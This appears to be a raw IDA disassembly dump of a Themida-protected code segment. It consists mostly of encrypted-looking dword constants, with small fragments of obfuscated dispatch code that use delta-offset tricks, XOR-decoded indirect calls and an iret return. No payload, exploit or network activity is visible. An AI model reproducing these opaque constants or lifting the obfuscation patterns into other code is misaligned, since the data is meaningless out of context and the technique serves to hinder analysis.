dd 0CBC7BF69h, 0B420EF33h, 0D7B8514Eh, 14787085h, 0CB7D07FCh
dd 0CB54BF73h, 0CB1C5720h, 90AFBF73h, 974EE4B0h, 8F62BB57h
dd 0CBE6BB57h, 98BBBF73h, 0E504FB0h, 0CB335671h, 0BE1BF73h
dd 0B76F939h, 42CAA54Ch, 7069B899h, 0C46E8482h, 0CBF356E2h
dd 9CB4BF73h, 0F035B4C8h, 0EA83F61Dh, 9CEFEF41h, 58AF0715h
dd 0CBF1562Dh, 0A129BF73h, 50585E82h, 0F53E60B5h, 28D78E4Fh
dd 7305CF06h, 0C7672E12h, 0F5C7BF73h, 51D73B6Ch, 1C2A38D0h
dd 37366BB1h, 12F0D929h, 0D9D7EC20h, 5E1FBF73h, 74891EB5h
dd 79572EADh, 0CEF9789Eh, 585DE265h, 3DA3E59Ch, 4E73BBB2h
dd 0CB3EBE53h, 234ABF19h, 0CB8FBF70h, 9604E253h, 0CFC7D3FAh
dd 0CFD5FBF2h, 0CBF8BF6Ah, 9FBFEA36h, 29919450h, 9ACA0503h
dd 0A1D6A3A1h, 0C82FE873h, 0EBE3BF73h, 42AE7C2Ch, 4AFC9B0Fh
dd 0D6789B37h, 8C3EBF73h, 0BFB27C24h, 96E5B357h, 0CF220DEBh
dd 9B3C087Ch, 0CBE5327Ch, 0C411BF73h, 437CBF73h, 1A3655A3h
dd 0D5773BD0h, 866A4AECh, 4B9CCB40h, 4EECD74Ah, 0CBF1BF9Ch
dd 0B27366F9h, 38FDD972h, 34BF0B25h, 4B1FBF73h, 0CB563D7Ch
dd 0CBADBF73h, 0CBE05720h, 90D1BF73h, 9771E4B0h, 8FFDBB57h
dd 0CB23BB57h, 985CBF73h, 2432C3B0h, 4DCE5CEEh, 0AB5BC4F6h
dd 0CBF03D7Ch, 9A00BF73h, 0AD2D57F2h, 0AA60E079h, 13B73AB4h
dd 0CB8EB96Ah, 40A1BF73h, 0CB5D56A2h, 0CB9BBF73h, 0CBFB5724h
dd 945CBF73h, 0B7B7E0B0h, 8F9EBB57h, 0CB94BB57h, 9C80BF73h
dd 95A685B0h, 3F10C2BAh, 0E43D9D8h, 0CB19566Ah, 0CB54BF73h
dd 0CB1C5721h, 91AFBF73h, 9F4EE5B0h, 8F62BB57h, 0CBEBBB57h
dd 99BABF73h, 0CB70A5B0h, 0BFF3CAEDh, 0ADCE342Ah, 3484C6F0h
dd 0CBF23B7Ch, 0CB89BF73h, 0CBF25726h, 96D8BF73h, 0A7F5E2B0h
dd 8FBFBB57h, 0CB03BB57h, 9ECABF73h, 114F4BB0h, 0D7BEF9C5h
dd 709717B9h, 4E3FB5FDh, 0CD6567DBh, 0CB3EBF72h, 835970F3h
dd 23D9BF19h, 0CBC7BF70h, 9520E153h, 0CFD5CBFAh, 0CFDCFBF2h
dd 0CB7CBF68h, 47FDE935h, 0B564ECECh, 71E3FEE0h, 86A4387Ah
dd 16540415h, 42A623CAh, 187D3203h, 467AA6ADh, 0D2E3FACEh
dd 0BFE78475h, 1A808F74h, 3E2CF8BAh, 0CB89C2C4h, 0CBF25723h
dd 93D8BF73h, 8FF5E7B0h, 8FBFBB57h, 0CB0BBB57h, 9BCFBF73h
dd 4AA1B3B0h, 0ADB6A3A8h, 0BBB175F2h, 0D93502F0h, 0C47DB967h
dd 0CB3E88F7h, 15A8B073h, 0D08202F0h, 0C4C7B967h, 0CBE398F6h
dd 482B3E73h, 488F9233h, 0DF5FB6CEh, 4F31BF75h, 0CB1FBF6Fh
dd 0CB8FB49Bh, 0AF114B73h, 92DA44DDh, 0BE136D70h, 902F087Ch
dd 0CB7C719Ah, 32500D73h, 0D9D202F0h, 0C48EB967h, 0CBC7C9F6h
dd 9EE3D573h, 0CBF1BC9Bh, 8A59F73h, 0EF10362Eh, 0EF7A3E77h
dd 0CB1FA977h, 8DAFA73h, 4B2C575Dh, 3D63B594h, 1C7AE22Fh
dd 9EF8D5B0h, 0CB7CBC9Bh, 8639F73h, 0EF73362Eh, 0EFCB3E77h
dd 0CBC7A677h, 8B6FA73h, 0CFE183FCh, 39794026h, 0D403C1BEh
dd 7ABC5DC8h, 0CB7A560Ah, 4280BF73h, 0CBC7BF64h, 0CBE3AD9Ah
dd 0F82B2073h, 674D4E8h, 2FC16456h, 57D0F98Ah, 96BDE1CFh
dd 23DCBF19h, 0CBC7BF70h, 9020E453h, 0CFD5E3FAh, 0CFDCFBF2h
dd 0CB7CBF6Ah, 0AEFDEC30h, 0F46FBFEDh, 1504D939h, 8256DF2h
dd 23B09235h, 0CBF1BF7Dh, 933779F8h, 42E8F38Eh, 9F1A83D0h
dd 9E8B5Dh, 0CE19CBD3h, 4608E528h, 0D23B58CEh, 6B7C3275h
dd 73FEA6ADh, 0B046E36Eh, 0D23F3A40h, 434B967h, 23CA56B2h
dd 320342A6h, 0A6AD187Dh, 0FACE467Ah, 8475D2E3h, 8F74BFE7h
dd 83BA1A80h, 0A4F305E9h, 0D8A8BD83h, 74000619h, 798D8D0Dh
dd 0B806144Dh, 1, 6A40E1FFh, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1C042444h, 46000000h, 5AD0C356h, 0EACC2BFh
dd 66AAF611h, 0BF8ED381h, 13E8h, 38658900h, 690E5444h
dd 14D13A0h, 8307E97Dh, 0BEA34391h, 835A5A53h, 0E8562DE8h
dd 13h, 524C933Bh, 2DAEBEB7h, 98D404E1h, 0E695FDA3h, 0E82DC8BCh
dd 10h, 0B12FE754h, 8D9C552Bh, 7F78059Ch, 9CCC93BBh, 8B5B5B5Bh
dd 833BB3C0h, 1430B1BDh, 9750006h, 1AE1BD83h, 74000614h
dd 8B535019h, 3FCB8C0h, 85890000h, 61430C1h, 0B7A19D8Dh
dd 0D3FF0616h, 0BD83585Bh, 6141AE1h, 50177400h, 3FCB853h
dd 85890000h, 61430C1h, 0B4429D8Dh, 0D3FF0616h, 0F3BA585Bh
dd 6A3F0EC3h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1A042444h, 41000000h, 3235C351h, 0B15D2D52h, 850F56E9h
dd 13h, 0DE8h, 0E7326800h, 0D41592ADh, 4A2EF20Bh, 5B5A88C4h
dd 24EBC08Bh, 9 dup(0)
; ---------------------------------------------------------------------------
jmp loc_5A6CA6
; ---------------------------------------------------------------------------
loc_5A6BE9: ; DATA XREF: Themida_:0054BA7Co
mov [ebp+619DFE1h], esi
mov eax, [ebp+61412CDh]
mov eax, [ebp+6140AE1h]
lea esi, [ebp+619E02Bh]
lea eax, [ebp+6174C12h]
call eax
retn
; ---------------------------------------------------------------------------
push ebp
call $+5
pop ebp
sub ebp, 619E031h
cmp dword ptr [ebp+61412CDh], 1
jnz loc_5A6C50
push dword ptr [ebp+619DFE1h]
mov eax, [ebp+6140AE1h]
xor eax, 34812736h
call eax
cmp al, 1
jnz loc_5A6C49
mov eax, 1
jmp loc_5A6C90
; ---------------------------------------------------------------------------
loc_5A6C49: ; CODE XREF: Themida_:005A6C39j
xor eax, eax
jmp loc_5A6C90
; ---------------------------------------------------------------------------
loc_5A6C50: ; CODE XREF: Themida_:005A6C1Ej
push 1Ch
lea esi, [ebp+619DFE5h]
push esi
push dword ptr [ebp+619DFE1h]
mov eax, [ebp+6140AE1h]
xor eax, 34812736h
call eax
add esp, 0Ch
lea esi, [ebp+619DFE5h]
mov eax, [esi+14h]
and eax, 4
cmp eax, 4
jz loc_5A6C8B
xor eax, eax
jmp loc_5A6C90
; ---------------------------------------------------------------------------
loc_5A6C8B: ; CODE XREF: Themida_:005A6C7Ej
mov eax, 1
loc_5A6C90: ; CODE XREF: Themida_:005A6C44j
; Themida_:005A6C4Bj ...
cmp dword ptr [ebp+61412CDh], 1
jnz loc_5A6CA4
pop ebp
retn
; ---------------------------------------------------------------------------
jmp loc_5A6CA6
; ---------------------------------------------------------------------------
loc_5A6CA4: ; CODE XREF: Themida_:005A6C97j
pop ebp
iret
; ---------------------------------------------------------------------------
loc_5A6CA6: ; CODE XREF: Themida_:005A6BE4j
; Themida_:005A6C9Fj
lea eax, [ebp+619E00Ah]
mov [ebp+6142E9Dh], eax
jmp loc_5A6D6B
; ---------------------------------------------------------------------------
db 2Eh
dd 946267C9h, 5000000h, 1000000h, 28000000h, 200000Ah
dd 27h dup(0)
db 3 dup(0)
; ---------------------------------------------------------------------------
loc_5A6D6B: ; CODE XREF: Themida_:005A6CB2j
jmp loc_5A785D
; ---------------------------------------------------------------------------
push 619E2EAh
jmp loc_5509FF
; ---------------------------------------------------------------------------
push 619E3EFh
jmp loc_5509FF
; ---------------------------------------------------------------------------
push 619E50Eh
jmp loc_5509FF
; ---------------------------------------------------------------------------
push 619E566h
jmp loc_5509FF
; ---------------------------------------------------------------------------
push 619E677h
jmp loc_5509FF
; ---------------------------------------------------------------------------
push 619E6D8h
jmp loc_5509FF
; ---------------------------------------------------------------------------
push 619E9DDh
jmp loc_5509FF
; ---------------------------------------------------------------------------
push 619EACAh
jmp loc_5509FF
; ---------------------------------------------------------------------------
dd 84D6E9F3h, 3F912CA7h, 0F94B7062h, 0AE00B91Ch, 65B706D1h
dd 0B3248C2Ch, 0F6DBB80Ah, 449471C3h, 8A4C297Bh, 4BD3DF31h
dd 0BC95F45h, 11787358h, 93B44017h, 903C7F57h, 76E2E138h
dd 9559CCBFh, 9E363CBAh, 4972646Fh, 7546909Dh, 35D94723h
dd 2554E7EDh, 9AC257E6h, 4C6A8EEh, 0AFD15807h, 0D06DF893h
dd 2591F8D8h, 89000000h, 77A617BCh, 0F9A51390h, 2E8ABB1h
dd 8EB657E5h, 2BA9CE2h, 0A3C55806h, 0D679ECE7h, 0D085F8D9h
dd 9C000000h, 9642C412h, 0AE5A6374h, 7A26BE56h, 0A7536A6Dh
dd 0D37F3C9Ah, 63AB10C6h, 65BB3F96h, 3AED0430h, 217925BDh
dd 5FCCE2F2h, 0EA51F2E3h, 0A57DCFECh, 0E3F1D7DDh, 0DD0551F2h
dd 8833A3AEh, 0BE62D0DCh, 0FD357076h, 0BBE357E5h, 0BF1F8D69h
dd 6FDD3B9h, 27BFE758h, 0D4ADD9DFh, 153D5DFBh, 7B4F6CDh
dd 0CA53562Dh, 0FC8959Bh, 587F5CAEh, 0C31A8765h, 331D3893h
dd 90625h, 0DFE0FC00h, 9A23B08Dh, 54676B48h, 9B02502h
dd 0C0FDDAB7h, 2D83356Eh, 0E4C113AAh, 9D7ACCEDh, 5532843Bh
dd 0DCE83A81h, 0CA684E54h, 817C580Bh, 494F171Ah, 51F1E863h
dd 0CF024F77h, 27B0BBEAh, 1DC9F0E1h, 0FEDB2DC5h, 0CE9BE3D8h
dd 0E7D8000Ah, 0ECD1024Fh, 13F4ADBDh, 759344A5h, 5AB25E5Dh
dd 71BE16C2h, 57AF5B62h, 0A9AF77BFh, 51F1E7C3h, 7662AFD7h
dd 16459D49h, 3470A10h, 0ED1557E5h, 319FB41h, 2245806h
dd 0D71A4B40h, 0C2E4F8D9h, 0DC000000h, 4AF6C90Fh, 12DCC3F2h
dd 434BF7C4h, 0B05C6176h, 0F1CC0B58h, 0B3BEED45h, 0A7ED9924h
dd 51F1EB3Ah, 62AA11C5h, 0B4BA4095h, 0D4163506h, 31A5F28Ah
dd 6E4B5B8Ah, 9BA75368h, 0E766C22Dh, 0B7E1E903h, 96D1D71Fh
dd 4457E5BEh, 80EECA1Ch, 678288D0h, 0D55DFB92h, 3F9865ADh
dd 7D542C7Eh, 0EEE2EF1Fh, 404B7A25h, 63482697h, 0E8389311h
dd 801F0FEh, 0DB010000h, 1EB592E4h, 62704D9Fh, 0AB2A0759h
dd 0F8DFBC0Eh, 7E3A73C5h, 0C618A532h, 7FD1E8E9h, 378936A2h
dd 0ED3F7C5Ah, 6D5359E1h, 81580BCBh, 0C5121F86h, 0F5E3B0F8h
dd 0E0071ECAh, 60D40106h, 0E145CF4h, 51F2E728h, 0D5E5143Ch
dd 8BDDDEF8h, 0F7C412D2h, 23983E4Bh, 0D787F5D1h, 0A916C28Fh
dd 7076A5FDh, 0EBC99C6Ah, 487057h, 0C618A333h, 0BCA3AB0h
dd 1E7BE858h, 45C08B5h, 964D246Ch, 7714B97h, 7290A0CFh
dd 33A4711Ah, 0DB900D5h, 0E4EE1DB5h, 0B582CA76h, 6A709F1Eh
dd 0EED4DAA2h, 2580BC4h, 0C53E242Ah, 2A52580Bh, 0D41F6392h
dd 205DFEDEh, 8378253h, 67BB5C84h, 0D1E6F8C4h, 6AB25ECCh
dd 0DBF3B164h, 0EF375FF7h, 0A3954218h, 766087F7h, 147EAD45h
dd 0AEF69A08h, 48FAE0E6h, 0E60EF7FDh, 0DEABB1B7h, 2EFDF1C9h
dd 78548F66h, 64337C8Dh, 14D9F8DEh, 0B5E40CFEh, 0F4C10931h
dd 0AA87D9E2h, 0F3D9DF2Ch, 76FE14D9h, 58E5400Ch, 0A32F87Ch
dd 38219472h, 543E989Ch, 6E246h, 3BC2000h, 0BEFFD4B1h
dd 78438F6Ch, 2D8C4926h, 0E4D9FEDBh, 515F5992h, 8E53786h
dd 0C19EF0C9h, 7956A817h, 0C5E5Dh, 0CC8C7278h, 0A5A0580Bh
dd 0F9A5133Eh, 0C8DDABB1h, 89B157EBh, 5E5F7441h, 19A42F0Ch
dd 9076606Dh, 76CE7A43h, 0F3BF00DEh, 0CAB43EA4h, 68ABCh
dd 5B647800h, 16A72C09h, 0D0EBE7C4h, 8534A17Eh, 3C815633h
dd 0A907B1EAh, 603D8F2Eh, 19F64871h, 0D1AE00BFh, 5864B605h
dd 0CCE4CAD0h, 0FDF8580Bh, 0F9A51396h, 0C8DDABB1h, 89B157EBh
dd 59627441h, 10BE2B07h, 0C8D0C2C8h, 0D4FC580Bh, 83532028h
dd 0E2C50938h, 0EF580BC8h, 4F168DCDh, 0FF8D40Ch, 0F7269342h
dd 3C91h, 0A613A800h, 802C8F43h, 7B489028h, 9726AD5Dh
dd 2CAD0FFh, 1A1A3B2Bh, 4E7D2B7Dh, 0F2A0100Ah, 68143C51h
dd 0F2A04022h, 69294B51h, 0ED35F372h, 70BFEh, 11220000h
dd 1BCh, 0CE6BD168h, 3A0DF160h, 73CAEFE6h, 0F5FB96FDh
dd 51F2390Fh, 0CB63FB23h, 52327D83h, 0D80057E5h, 2197E337h
dd 1DE5E76Fh, 0B1023117h, 0A318BE07h, 7C86B5DDh, 141A620Eh
dd 0DA41D61h, 2F3BE70Fh, 8D51DC1h, 0E941EDCEh, 0E1AEB4BAh
dd 0B313B99Dh, 6076438Bh, 5A31095Bh, 5654E497h, 9CA7D6EDh
dd 26A3813Ah, 6182D45Fh, 5796977h, 53890000h, 963D1A6Ch
dd 0DAF8D527h, 23B28FE1h, 70674496h, 0F6C2FB4Dh, 4EA01DBAh
dd 7596071h, 0BF11AE2Ah, 75C7F4E2h, 0F5DBE169h, 9580BCDh
dd 0C412A70Eh, 0D13F4BF7h, 0C018E52Dh, 0C4CAD0FFh, 57E50511h
dd 1CF1E2BFh, 6053016h, 841C4458h, 96E880D8h, 0C09E1DB9h
dd 3EAAB713h, 18909E88h, 0EA000005h, 9E7BCDF2h, 59368835h
dd 13F04279h, 0C8A5F7C2h, 235CAE0Fh, 1BC1B95h, 0BAFFD2AFh
dd 724D8B68h, 28934320h, 3C42CAD6h, 580BCE56h, 12086F6Ah
dd 3E4BF7C4h, 6A772398h, 7F3E996Bh, 37E37BD3h, 6713A82Ah
dd 0AE334F33h, 42FA98FCh, 0FDD52794h, 953ABC26h, 7FAEAD32h
dd 0ED715213h, 29ACFEh, 0CDA40000h, 0D5955DCCh, 0B59CCB98h
dd 0B1F9A513h, 0E51D80ABh, 3AE60E57h, 5FE12F4h, 5FFB1D58h
dd 0D9DC2144h, 62DDF8h, 13F40000h, 0E9B1F9A5h, 0F1E7FDE3h
dd 0BAE91151h, 5443AEB4h, 295157E5h, 864C19E1h, 2318935h
dd 0A92CDCF7h, 10267810h, 5806352Dh, 479922B4h, 8936A26Fh
dd 180A4B32h, 0D7067CEEh, 6EB607CCh, 0DD8930A1h, 12E9CFD5h
dd 0D5FD5806h, 96A40E3Dh, 43Bh, 1A0006CEh, 2E580613h, 0A219B906h
dd 886F9EF6h, 0F7154017h, 30DCDDF8h, 0B32181D8h, 0D846507Fh
dd 8BDAE028h, 6157E59Dh, 0D26A5384h, 49BD1926h, 2D853188h
dd 0F73E995h, 0F44CBA73h, 67E08EEh, 5CF41C58h, 0C7BF0E14h
dd 6D955DF9h, 757B431Bh, 5E1AA78Fh, 0A82E7BA3h, 0FDD9E413h
dd 3D0A12BEh, 2078249Bh, 2079E7F1h, 25A06B7h, 391C226Ah
dd 47640DC1h, 0C80AD71Fh, 4D5AC4F3h, 0DED07785h, 4315A511h
dd 0E1F2FFABh, 0A51930DCh, 0D97E84C8h, 1634984Eh, 3E5CFE93h
dd 99EBD006h, 0E9EF4FBDh, 642DF003h, 0B1774890h, 0A3A9F189h
dd 6A2118E8h, 53B73D14h, 382A74Ah, 6D9C21B6h, 815C1E9h
dd 0EC41EDCEh, 87F5084Ah, 0CE898FD7h, 7C70356Dh, 0B1250254h
dd 8E3A8155h, 0D1695081h, 57808D39h, 0C99668A7h, 0C0D87439h
dd 9F096008h, 9D838946h, 0B1705600h, 0AD59F189h, 7DB7D337h
dd 34106259h, 0CCD21AC6h, 764919E9h, 1B23CFF7h, 1A674D53h
dd 537B766Ah, 1A1F050Bh, 0B33766Ah, 0B605D1DCh, 975FB50Ah
dd 6A19AB91h, 0E1E7BF76h, 766A19FBh, 204FE70Fh, 0B798CCEh
dd 32151B63h, 0BE7C5D33h, 330AF0F6h, 0F61E7C7Eh, 0C91B43C7h
dd 0B61CEAECh, 0B4C16D05h, 6F479922h, 4D436A2h, 0FCD623BBh
dd 188690BFh, 871A2068h, 0F5827184h, 4C1921CDh, 2F87338Ch
dd 63FBE1E7h, 0E70F8292h, 639274B8h, 7B9D8292h, 71A1C4DFh
dd 205DCE4Dh, 74000000h, 0B1F9A513h, 0E502E8ABh, 0E28EB657h
dd 602BA9Ch, 0E7A3C558h, 0D9D679ECh, 0BD85F8h, 129C0000h
dd 3E4BF7C4h, 55686F99h, 30951A9h, 51F1E81Dh, 0C5710931h
dd 0F19D1EB8h, 0A14512E9h, 54BCBCA6h, 0FFBC1A25h, 872A97ADh
dd 21B551F2h, 6B6B489Ah, 2A98A450h, 9F763E86h, 14C1B06Eh
dd 0DAFE4EA5h, 4CEF3362h, 0DA57E5D2h, 168460B2h, 991C226Ah
dd 0E75DFB8Ah, 2DAA77BFh, 0CB801ED1h, 81875299h, 5E1D199Bh
dd 57EF87AFh, 0EAF2805h, 93A2AD30h, 0A180238h, 213h, 80D2EDEFh
dd 3B8D30A3h, 0F547745Eh, 0AAFCBD18h, 61B30ACDh, 0B7209028h
dd 0FAD7B406h, 48906DBFh, 8E482577h, 47CFDB2Dh, 0BD15B41h
dd 0D746F58h, 0B0F8C512h, 0E7FCE2E8h, 0E81051F1h, 0ACCA9B9h
dd 13A65FB1h, 0DAB1F9A5h, 36B211F1h, 3D437290h, 0E5527437h
dd 71654257h, 0B38AF34Ah, 0DF5C415Bh, 73559B47h, 7E58060Ch
dd 8BEAD1A8h, 86CF2EB7h, 4E450557h, 0F8D95817h, 0CCE7h
dd 0C412FE00h, 993E4BF7h, 21254065h, 26BEF422h, 36C7347Ah
dd 845251F2h, 0CE08E537h, 0C73541EDh, 26C9CF17h, 0B457E589h
dd 9A623A8Ch, 668AE94h, 0EDE5C258h, 32CA22CEh, 20CCF3E5h
dd 218F99C8h, 0A56D357Dh, 668B99Fh, 76A5CD58h, 0FB3D0E32h
dd 2E769E5Dh, 0B2989E66h, 0C65E1D1Dh, 73646F9Eh, 0BC1BF84Ah
dd 9EC42301h, 15FF3893h, 12607h, 0BF00DC00h, 7A43906Dh
dd 34874B28h, 0E9D005E2h, 0A01DBA97h, 0DA3154Eh, 0C4A1F3CAh
dd 7D5AAC0Dh, 3512645Bh, 0BCC81AA1h, 0D2482E34h, 615C580Bh
dd 0F8C512FAh, 0CD28D9B0h, 0FB2C1218h, 184051F1h, 0EDBB53C1h
dd 5D1AEBEh, 4DE5D401h, 20993805h, 0CED41C74h, 51F232E8h
dd 95A5D4FCh, 8C4A17DCh, 0D42B832Fh, 0C9FA9F29h, 0AFBAE94Bh
dd 0E0E89427h, 9CC27D09h, 0FC2B088Bh, 2026E5F1h, 51F2D03Ah
dd 0E8AE11C7h, 8C7278C0h, 0A051F2CFh, 0B28EE078h, 0A78ADD44h
dd 702AF057h, 0C08A90D8h, 0A57EBCDh, 7A26953Dh, 476FF322h
dd 6D6A37FFh, 0CCE4CA50h, 0D0F8580Bh, 582F37A1h, 76555A9Ch
dd 0B0BBEA62h, 66439526h, 979F4B70h, 65E3C9CFh, 0CFF7580Bh
dd 8C895CA0h, 0E3F03A28h, 0B1212EDAh, 84E85E0Ah, 0C92DE3C6h
dd 58637389h, 59AD2906h, 3E964279h, 0E8EDFAA6h, 2ED025D1h
dd 0BDFED86Ch, 10C6936Bh, 65717CABh, 0D5A2AA56h, 0B50DB900h
dd 157A86h, 0EAB20000h, 8006B51Dh, 0BC898B9Ah, 705786AEh
dd 308D4A17h, 1261C801h, 3C49F5CAh, 6875219Ah, 96A34F70h
dd 0C5D27E3Bh, 0F2FFAB12h, 1F2CD8E5h, 4A5703B6h, 7A873388h
dd 33B86459h, 52D268h, 240C8900h, 7B8068h, 24148900h, 7F7D68h
dd 241C8900h, 19E1E168h, 8B545A06h, 0C483241Ch, 0D0895004h
dd 8B084389h, 0C4812404h, 4, 53241C8Bh, 0C381E389h, 4
dd 4C381h, 1C870000h, 148B5C24h, 0E0895024h, 405h, 40500h
dd 4870000h, 0A8E95C24h, 7AFFFA91h, 0E80D1360h
db 0C0h
; ---------------------------------------------------------------------------
loc_5A785D: ; CODE XREF: Themida_:loc_5A6D6Bj
mov eax, 619EC15h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
dw 240h
dd 8E7748CEh, 8AB469DAh, 0AB7E6DF7h, 0E5166E35h, 7BC01A75h
dd 8BF26C68h, 0AC5389Ch, 6008465Ah, 0C3927D78h, 4DE200FFh
dd 2AB5256Bh, 0DAE24906h, 0B12E1B63h, 0B9BA311Ah, 0AF8856E2h
dd 81500E20h, 92BB374Fh, 0E8627105h, 0EAF55F7Eh, 0B24A36ADh
dd 0AE791156h, 0BE84E15h, 0C5000000h, 5B4B4h, 0F3BEC291h
dd 0BE89A6Ah, 0A7000000h, 0BF873788h, 1105A769h, 8B6644A3h
dd 0F585ECEh, 0C081F1B7h, 6FD1h, 0FD233F9h, 1A8Ch, 0EE800h
dd 14850000h, 1EEBF7F6h, 0EEB9D738h, 5325150Dh, 0A32EC681h
dd 8B5F198Dh, 0E781101Ch, 29FFAC63h, 5848C381h, 7E94BBEh
dd 55000000h, 0E260A34Dh, 0EB812C2Bh, 59324455h, 2880Fh
dd 0CF8A0000h, 839BEB81h, 0F533E00h, 48FCABFh, 0CAB70F10h
dd 83F78B66h, 7E904EAh, 0C6000000h, 0E4DC4570h, 0FA816E3Eh
dd 0FFFF90D4h, 0FFA9850Fh, 0F681FFFFh, 5D8390FAh, 15E9h
dd 709F8A00h, 5Dh, 3 dup(0)
dd 1CE90000h, 0BE000005h, 724FA11Eh, 2D0A5C61h, 0E7C416A5h
dd 9C79CBEEh, 0F730823Bh, 0D5E8EFC1h, 8E2BA683h, 46795F3Ch
dd 0FCBF17F4h, 10169EAAh, 580BD52Ah, 17DC433Eh, 1308D4Ah
dd 93DBE0F6h, 1AD12C6h, 3107AA9h, 0BA97E9D4h, 0E6F39F1Ch
dd 121FCBF0h, 0DA50FCC1h, 0DDDCF5C2h, 3D232931h, 5151F1E8h
dd 8E449129h, 0FA29812Dh, 8452EAA8h, 0D0685582h, 8910B188h
dd 966A0AD1h, 5E7A5767h, 0A6320F61h, 988C7464h, 0EAEE7901h
dd 2E8632CAh, 54814E96h, 0BFCC3665h, 0A6FBA712h, 2AAE4604h
dd 1ECAF3E0h, 0FFDC2EC6h, 0F238E4D7h, 51F29E0Fh, 0C0DB778Bh
dd 0FEED3BA5h, 5E59h, 40177000h, 0C47D70E4h, 40262CCFh
dd 5451F297h, 464C942Ch, 51F29760h, 121D4C74h, 54BF7C4h
dd 51F29721h, 0D4CF8B9Fh, 0FEED4291h, 16Dh, 0C1128400h
dd 904350FCh, 6174812Dh, 0D236AC58h, 1DB481B0h, 4A0459Ch
dd 0A3500541h, 536A6974h, 97522901h, 0A33D54C5h, 63737EADh
dd 124D0658h, 5C4248C5h, 7051F1E8h, 0F704B048h, 10A92CDCh
dd 0F3B50C64h, 63026E24h, 0E85A069Eh, 0A92EC684h, 0F1E5C214h
dd 21B582CAh, 0F9016B9Ah, 0E413AC2Ch, 1503F9D9h, 304FF4A4h
dd 96C3A9AFh, 0AFD751F2h, 0C6D37F17h, 0F901AD12h, 0F2970DF3h
dd 0ACF92151h, 94E99526h, 8A5150F2h, 4F172A68h, 0F2976349h
dd 204F7751h, 0ED40C1B4h, 715DFEh, 12740000h, 0E8B0F8C5h
dd 0F1E7FCE2h, 32381051h, 51F1E84Ch, 71A03860h, 0E3D8FA07h
dd 3D5DC137h, 23963F0Ch, 506D6A77h, 597E89B8h, 0A2351264h
dd 0D006D31Bh, 4552BCEBh, 0F67D2990h, 0BB83B6D4h, 4CD2E7EEh
dd 51F1E866h, 81389D7Ah, 274EBAE9h, 0F7FEEDF0h, 42h, 43C5120Eh
dd 48902893h, 0B965587Bh, 0BBC83261h, 0C2F6A21Dh, 4F88BCDEh
dd 12631C6Eh, 0E7B4FCC1h, 0C921CDF0h, 7EA309Ah, 8351F1E8h
dd 0ADB8D36Fh, 51FEEDF1h, 0Ah, 0D317249h, 9EA102B2h, 0C012886Fh
dd 94424FFBh, 676E7B27h, 3999A652h, 1DB504CDh, 1B375B71h
dd 31C9F0E1h, 0A458FA9Ch, 5F3B8D2Eh, 0FF054DF1h, 57E502E8h
dd 7D8A365Eh, 0E8E0A359h, 4AE9FE41h, 0B18860B2h, 989E2DD2h
dd 5806A2B2h, 66479EC6h, 848FBE92h, 77BD6952h, 58065893h
dd 0BB7111F5h, 0D4E7EB1Bh, 0C90DEA3Ch, 9D3946F2h, 9C00721Eh
dd 2B9046FEh, 97441BE3h, 2EA47800h, 0B59076FCh, 7CA45806h
dd 66FF3D4Dh, 0F8F8D923h, 0E312AD2Bh, 12D7Dh, 0A5139400h
dd 74ABB1F9h, 2A57E50Dh, 8D495602h, 27AB5F79h, 0F890E894h
dd 0A5CF44Ch, 4B726532h, 0F6C5111Ch, 22993D4Ah, 15EC0476h
dd 0EFF7313Ah, 4496C55Fh, 0D3E8EE06h, 0F6DCA981h, 92C119C5h
dd 0D9D73F26h, 5BBFF8h, 13D60000h, 0E8B0F8A6h, 0F1E7FCE2h
dd 0B9E81051h, 0E7E7ADB3h, 93BBD1F1h, 0FEC6744Bh, 0D5ED3F27h
dd 9AA1878Dh, 8DB5D1F2h, 0C8AEF45Eh, 4CD1F29Ah, 66D36A28h
dd 3DE9D403h, 0FF054DE5h, 51F29B39h, 0BB93E50Dh, 0A7D6E3EEh
dd 999Bh, 50BD300h, 51F29B1Fh, 15BE0B33h, 75A4FCA8h, 0F9A5138Eh
dd 10F0ABB1h, 769E57E5h, 0A219BDCAh, 58637350h, 0F28566ACh
dd 0FDE15805h, 0F2DFAC5Dh, 498D98C7h, 5C622A72h, 5805F276h
dd 2333628Ah, 0DF87744Bh, 20A08068h, 8BBA05D3h, 236B1381h
dd 35A91Dh, 0DCFCD95Eh, 47DF37E3h, 1BA032FFh, 7EE8176Fh
dd 67AB9F76h, 0F08BB07Ah, 0E620B6C1h, 0CC24D0EDh, 0CF67527Fh
dd 0AB78CE23h, 1062912Ch, 0EC4DBB72h, 0D028D4E5h, 76EAF038h
dd 0A6641A51h, 8986F8BFh, 0C45CBA7Ch, 0A513B972h, 0EFE4B1F9h
dd 9BCA22CEh, 0F61B8F95h, 234B57EBh, 4F6C6A77h, 5B620FDh
dd 62961359h, 74D81332h, 3B81ED6h, 0B902D4B1h, 0BDA3A971h
dd 4AB37541h, 2B832F8Ch, 724B8865h, 3441ABDAh, 5F6C18A1h
dd 8B984477h, 0ADC36F4Ah, 53E8C989h, 14A530FDh, 45785B68h
dd 5CA94199h, 0C012417Ah, 9A6C6A82h, 97E9813Eh, 579F1CBAh
dd 41A3898Fh, 8FB7B375h, 8E8F660h, 3F000000h, 45915EE4h
dd 12604776h, 3C49F5CAh, 6875219Ah, 96A34F70h, 0C5D27E3Bh
dd 0F2FFAB12h, 1F2CD8E5h, 4A5703B6h, 7A873388h, 33B86459h
dd 51E38953h, 0EC1EE5B9h, 58F18131h, 0C13DA751h, 0C18108E9h
dd 0FFF3B4B5h, 8359CB01h, 1C8704EBh, 89535C24h, 4C381E3h
dd 81000000h, 4EBh, 241C8700h, 2404895Ch, 81E68956h, 4C6h
dd 4EE8100h, 87000000h, 895C2434h, 5157240Ch, 8A6E84B9h
dd 7E9C141h, 4074C181h, 0E9812ED5h, 293E67A5h, 8959CF89h
dd 8B545FF8h, 0C483240Ch, 3A5F6804h, 4890000h, 8418F24h
dd 592434FFh, 4C481h, 48B0000h, 0E0895024h, 405h, 4C08300h
dd 5C240487h, 0FA8B5EE9h, 744FB0FFh, 0B8A8019Eh, 619F225h
dd 0E0FFC503h, 3707AB25h, 61BAA52Dh, 574FC666h, 6B30FD56h
dd 27A65C27h, 3293B5FBh, 0BB40A40h, 0F3FA65Fh, 16C8788Eh
dd 30161330h, 59823BF2h, 1ACD1AD5h, 0F3E78D8Dh, 6A0619h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
